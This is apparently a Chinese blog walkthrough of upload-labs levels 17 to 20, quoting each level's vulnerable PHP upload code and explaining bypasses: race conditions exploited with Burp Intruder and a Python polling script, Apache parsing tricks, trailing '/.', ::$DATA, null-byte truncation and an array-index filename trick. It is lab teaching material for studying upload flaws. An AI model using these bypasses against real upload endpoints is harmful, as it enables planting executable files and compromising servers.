    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

文件先保存在upload文件夹下,然后再判断是否合法,若合法则进行重命名,否则调用unlink函数删除非法文件。

绕过方法:

代码存在条件竞争问题,非法文件上传后会先保存在upload目录下,然后调用unlink函数删除,在这中间时间差里,我们可以不断上传和访问非法文件,只要速度快就可以触发成功。

  1. 先设置上传Info.php请求,burp拦截到上传文件后发送到intrude模块,因为这里没有参数需要爆破,只需反复发起请求即可,所以payload设置为null payloads,请求次数为5000次,线程为60.

  2. 接下来设置访问请求,浏览器构造请求url://http://192.168.1.106/upload-labs/upload/info.php,进行访问,发送到burp的intrude模块,跟步骤1一样设置同样的payload、5000次请求次数、60个线程。

  3. 同时开始攻击,观察第二个请求返回的长度,长度不一样的则成功。

    在读者这里没尝试成功,原理应该是对的,借用一下John师傅的图

    upload-labs_第17张图片

这里的第二个攻击也可以利用脚本实现:

import requests
url = "http://192.168.1.106/upload-labs/upload/info.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

Pass-18

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

这关的myupload.php中保存上传文件路径的代码其实是有点问题的,setDir函数里$this->cls_upload_dir = $dir;应该加上’/’,改为$this->cls_upload_dir = $dir.'/';,不然保存的图片只会保存在根目录下,不会保存在upload目录下。

本关和Pass-17一样存在条件竞争漏洞,关键函数moverenameFile,先将上传文件保存到upload目录下,再进行重命名,只不过在move之前进行了checkExtension白名单过滤,不能上传php文件进行文件包含来getshell了。幸运的是白名单里有zip、7z、rar等Apache不能解析的后缀名,所以我们可以利用条件竞争+解析漏洞来绕过。

绕过方法:

和上一关一样,上传并访问info.php.7z

Pass-19

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这关比较简单,pathinfo()返回一个关联数组包含有$file_name的信息,第二个参数PATHINFO_EXTENSION决定了返回后缀名。从我们自定义的文件名save_name中取出后缀名,与黑名单比较,最后与上传目录拼接起来变为上传路径。

绕过方法:

靶机为Windows:

  • 空格绕过

  • ::$DATA绕过

  • 点绕过

  • 0x00截断

  • 大小写绕过

  • Apache解析漏洞绕过

  • /.绕过

    参考John师傅的解读:**move_uploaded_file()会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file()**函数忽略文件末尾的/.可以实现保存文件为.php。

upload-labs_第18张图片

靶机为linux:

  • 0x00截断绕过
  • /.绕过

Pass-20

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组,这里是用 . 将文件名打散,并返回数组。

reset() 函数把数组的内部指针指向第一个元素,并返回这个元素的值。

end() 函数将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)。

函数执行流程:文件名通过POST方法提交->MIME白名单校验->后缀名白名单校验->获取文件名并拼接后缀名,构成上传路径

关键:is_array函数判断文件名save_name是否是数组,若不是则用explode函数以.来打散成数组,end函数获取文件后缀、reset获取文件名,最后 f i l e [ c o u n t ( file[count( file[count(file) - 1]拼接上最后一个文件后缀=>构成上传路径。

绕过方法:

  • 这里可以构造save_name[0] = info.php/save_name[2] = jpg,这样数组的长度为2,save_name[1] = null,所以最终file_name=info.php/.,到这里就构成了19题中的/.绕过。

  • 0x00截断绕过,不过php版本要低于5.3.4,参考Pass-11

漏洞总结

upload-labs_第19张图片

参考资料:

upload-labs-master Pass1-20笔记
Upload-labs

你可能感兴趣的:(文件上传,web安全)